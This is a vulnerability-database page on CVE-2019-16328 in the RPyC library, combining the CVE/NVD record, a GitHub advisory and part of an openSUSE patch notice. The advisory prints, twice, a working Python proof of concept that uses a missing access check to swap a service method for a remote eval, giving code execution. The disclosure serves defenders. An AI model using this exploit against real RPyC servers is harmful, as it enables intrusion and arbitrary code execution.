Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2019-16328 (GCVE-0-2019-16328)
Vulnerability from cvelistv5 – Published: 2019-10-03 19:51 – Updated: 2024-08-05 01:10
VLAI?
EPSS
Summary
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
Severity ?
No CVSS data available.
CWE
- n/a
Assigner
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T01:10:41.682Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"name": "openSUSE-SU-2020:0685",
"tags": [
"vendor-advisory",
"x_refsource_SUSE",
"x_transferred"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"name": "openSUSE-SU-2020:0763",
"tags": [
"vendor-advisory",
"x_refsource_SUSE",
"x_transferred"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-06-03T14:06:15.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"name": "openSUSE-SU-2020:0685",
"tags": [
"vendor-advisory",
"x_refsource_SUSE"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"name": "openSUSE-SU-2020:0763",
"tags": [
"vendor-advisory",
"x_refsource_SUSE"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
],
"source": {
"discovery": "INTERNAL"
},
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2019-16328",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/tomerfiliba/rpyc",
"refsource": "MISC",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"name": "https://rpyc.readthedocs.io/en/latest/docs/security.html",
"refsource": "MISC",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"name": "openSUSE-SU-2020:0685",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"name": "openSUSE-SU-2020:0763",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
]
},
"source": {
"discovery": "INTERNAL"
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2019-16328",
"datePublished": "2019-10-03T19:51:43.000Z",
"dateReserved": "2019-09-15T00:00:00.000Z",
"dateUpdated": "2024-08-05T01:10:41.682Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2019-16328",
"date": "2026-04-18",
"epss": "0.73039",
"percentile": "0.98788"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2019-16328\",\"sourceIdentifier\":\"cve@mitre.org\",\"published\":\"2019-10-03T20:15:10.260\",\"lastModified\":\"2024-11-21T04:30:31.787\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.\"},{\"lang\":\"es\",\"value\":\"En RPyC versiones 4.1.x hasta 4.1.1, un atacante remoto puede modificar din\u00e1micamente los atributos de objeto para construir una llamada a un procedimiento remoto que ejecute c\u00f3digo para un servicio de RPyC con el establecimiento de la configuraci\u00f3n predeterminada.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"cvssMetricV2\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"2.0\",\"vectorString\":\"AV:N/AC:L/Au:N/C:N/I:P/A:N\",\"baseScore\":5.0,\"accessVector\":\"NETWORK\",\"accessComplexity\":\"LOW\",\"authentication\":\"NONE\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"PARTIAL\",\"availabilityImpact\":\"NONE\"},\"baseSeverity\":\"MEDIUM\",\"exploitabilityScore\":10.0,\"impactScore\":2.9,\"acInsufInfo\":false,\"obtainAllPrivilege\":false,\"obtainUserPrivilege\":false,\"obtainOtherPrivilege\":false,\"userInteractionRequired\":false}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-1321\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:rpyc_project:rpyc:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.1.0\",\"versionEndIncluding\":\"4.1.1\",\"matchCriteriaId\":\"8B97BD79-C06E-4CC6-B558-088E026C13BE\"}]}]}],\"references\":[{\"url\":\"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html\",\"source\":\"cve@mitre.org\",\"tags\":[\"Broken Link\"]},{\"url\":\"http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html\",\"source\":\"cve@mitre.org\",\"tags\":[\"Broken Link\"]},{\"url\":\"https://github.com/tomerfiliba/rpyc\",\"source\":\"cve@mitre.org\",\"tags\":[\"Product\",\"Third Party Advisory\"]},{\"url\":\"https://rpyc.readthedocs.io/en/latest/docs/security.html\",\"source\":\"cve@mitre.org\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Broken Link\"]},{\"url\":\"http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Broken Link\"]},{\"url\":\"https://github.com/tomerfiliba/rpyc\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Product\",\"Third Party Advisory\"]},{\"url\":\"https://rpyc.readthedocs.io/en/latest/docs/security.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}"
}
}
GHSA-PJ4G-4488-WMXM
Vulnerability from github – Published: 2021-02-17 19:50 – Updated: 2021-09-27 22:48
VLAI?
Summary
Dynamic modification of RPyC service due to missing security check
Details
Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory: * Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()
Severity ?
8.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rpyc"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.0"
]
}
],
"aliases": [
"CVE-2019-16328"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-17T19:50:44Z",
"nvd_published_at": "2019-10-03T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n exposed_Fie = Foe\n\n def exposed_nop(self):\n return\n\n\nif __name__ == \"__main__\":\n server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n func_code = func.__code__\n arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n codetype_args = [getattr(func_code, n) for n in arg_names]\n if filename:\n codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n if name:\n codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n mycode = obj_codetype(*codetype_args)\n return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n ver1_gt_ver2 = False\n for i, v1 in enumerate(ver1):\n v2 = ver2[i]\n if v1 \u003e v2:\n ver1_gt_ver2 = True\n break\n elif v1 == v2:\n continue\n else: # v1 \u003c v2\n break\n return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n\n cls.logger = logging.getLogger(\u0027rpyc\u0027)\n cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred\n cls.hscript = tempfile.NamedTemporaryFile()\n cls.hscript.write(SERVER_SCRIPT.encode())\n cls.hscript.flush()\n while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n pass\n cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n cls.conn = rpyc.connect(\"localhost\", PORT)\n\n @classmethod\n def tearDownClass(cls):\n cls.conn.close()\n cls.logger.info(cls.server.stdout.read())\n cls.logger.info(cls.server.stderr.read())\n cls.server.kill()\n cls.hscript.close()\n\n def netref_getattr(self, netref, attrname):\n # PoC CWE-358: abuse __cmp__ function that was missing a security check\n handler = rpyc.core.consts.HANDLE_CMP\n return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n def test_1_modify_nop(self):\n # create netrefs for builtins and globals that will be used to construct on remote\n remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n _builtins = remote_modules[\u0027builtins\u0027]\n remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n # populate globals for CodeType calls on remote\n remote_globals = remote_builtins[\u0027dict\u0027]()\n for name, netref in remote_builtins.items():\n remote_globals[name] = netref\n for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n remote_globals[name] = netref\n\n # create netrefs for types to create remote function malicously\n remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n # remote eval function constructed\n remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n # PoC CWE-913: modify the exposed_nop of service\n # by binding various netrefs in this execution frame, they are cached in\n # the remote address space. setattr and eval functions are cached for the life\n # of the netrefs in the frame. A consequence of Netref classes inheriting\n # BaseNetref, each object is cached under_local_objects. So, we are able\n # to construct arbitrary code using types and builtins.\n\n # use the builtin netrefs to modify the service to use the constructed eval func\n remote_setattr = remote_builtins[\u0027setattr\u0027]\n remote_type = remote_builtins[\u0027type\u0027]\n remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n # show that nop was replaced by eval to complete the PoC\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n def test_2_new_conn_impacted(self):\n # demostrate impact and scope of vuln for new connections\n self.conn.close()\n self.conn = rpyc.connect(\"localhost\", PORT)\n # show new conn can still use nop as eval\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n```",
"id": "GHSA-pj4g-4488-wmxm",
"modified": "2021-09-27T22:48:17Z",
"published": "2021-02-17T19:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
},
{
"type": "PACKAGE",
"url": "https://github.com/tomerfiliba-org/rpyc"
},
{
"type": "WEB",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"type": "WEB",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dynamic modification of RPyC service due to missing security check"
}
OPENSUSE-SU-2024:11268-1
Vulnerability from csaf_opensuse - Published: 2024-06-15 00:00 - Updated: 2024-06-15 00:00Summary
python36-rpyc-4.1.5-2.7 on GA media
Severity
Moderate
Notes
Title of the patch: python36-rpyc-4.1.5-2.7 on GA media
Description of the patch: These are all security issues fixed in the python36-rpyc-4.1.5-2.7 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2024-11268
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Vendor Fix
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
References
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python36-rpyc-4.1.5-2.7 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python36-rpyc-4.1.5-2.7 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2024-11268",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2024_11268-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2019-16328 page",
"url": "https://www.suse.com/security/cve/CVE-2019-16328/"
}
],
"title": "python36-rpyc-4.1.5-2.7 on GA media",
"tracking": {
"current_release_date": "2024-06-15T00:00:00Z",
"generator": {
"date": "2024-06-15T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2024:11268-1",
"initial_release_date": "2024-06-15T00:00:00Z",
"revision_history": [
{
"date": "2024-06-15T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python36-rpyc-4.1.5-2.7.aarch64",
"product": {
"name": "python36-rpyc-4.1.5-2.7.aarch64",
"product_id": "python36-rpyc-4.1.5-2.7.aarch64"
}
},
{
"category": "product_version",
"name": "python38-rpyc-4.1.5-2.7.aarch64",
"product": {
"name": "python38-rpyc-4.1.5-2.7.aarch64",
"product_id": "python38-rpyc-4.1.5-2.7.aarch64"
}
},
{
"category": "product_version",
"name": "python39-rpyc-4.1.5-2.7.aarch64",
"product": {
"name": "python39-rpyc-4.1.5-2.7.aarch64",
"product_id": "python39-rpyc-4.1.5-2.7.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python36-rpyc-4.1.5-2.7.ppc64le",
"product": {
"name": "python36-rpyc-4.1.5-2.7.ppc64le",
"product_id": "python36-rpyc-4.1.5-2.7.ppc64le"
}
},
{
"category": "product_version",
"name": "python38-rpyc-4.1.5-2.7.ppc64le",
"product": {
"name": "python38-rpyc-4.1.5-2.7.ppc64le",
"product_id": "python38-rpyc-4.1.5-2.7.ppc64le"
}
},
{
"category": "product_version",
"name": "python39-rpyc-4.1.5-2.7.ppc64le",
"product": {
"name": "python39-rpyc-4.1.5-2.7.ppc64le",
"product_id": "python39-rpyc-4.1.5-2.7.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python36-rpyc-4.1.5-2.7.s390x",
"product": {
"name": "python36-rpyc-4.1.5-2.7.s390x",
"product_id": "python36-rpyc-4.1.5-2.7.s390x"
}
},
{
"category": "product_version",
"name": "python38-rpyc-4.1.5-2.7.s390x",
"product": {
"name": "python38-rpyc-4.1.5-2.7.s390x",
"product_id": "python38-rpyc-4.1.5-2.7.s390x"
}
},
{
"category": "product_version",
"name": "python39-rpyc-4.1.5-2.7.s390x",
"product": {
"name": "python39-rpyc-4.1.5-2.7.s390x",
"product_id": "python39-rpyc-4.1.5-2.7.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python36-rpyc-4.1.5-2.7.x86_64",
"product": {
"name": "python36-rpyc-4.1.5-2.7.x86_64",
"product_id": "python36-rpyc-4.1.5-2.7.x86_64"
}
},
{
"category": "product_version",
"name": "python38-rpyc-4.1.5-2.7.x86_64",
"product": {
"name": "python38-rpyc-4.1.5-2.7.x86_64",
"product_id": "python38-rpyc-4.1.5-2.7.x86_64"
}
},
{
"category": "product_version",
"name": "python39-rpyc-4.1.5-2.7.x86_64",
"product": {
"name": "python39-rpyc-4.1.5-2.7.x86_64",
"product_id": "python39-rpyc-4.1.5-2.7.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python36-rpyc-4.1.5-2.7.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.aarch64"
},
"product_reference": "python36-rpyc-4.1.5-2.7.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python36-rpyc-4.1.5-2.7.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.ppc64le"
},
"product_reference": "python36-rpyc-4.1.5-2.7.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python36-rpyc-4.1.5-2.7.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.s390x"
},
"product_reference": "python36-rpyc-4.1.5-2.7.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python36-rpyc-4.1.5-2.7.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python36-rpyc-4.1.5-2.7.x86_64"
},
"product_reference": "python36-rpyc-4.1.5-2.7.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python38-rpyc-4.1.5-2.7.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.aarch64"
},
"product_reference": "python38-rpyc-4.1.5-2.7.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python38-rpyc-4.1.5-2.7.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python38-rpyc-4.1.5-2.7.ppc64le"
},
"product_reference": "python38-rpyc-4.1.5-2.7.ppc64le",
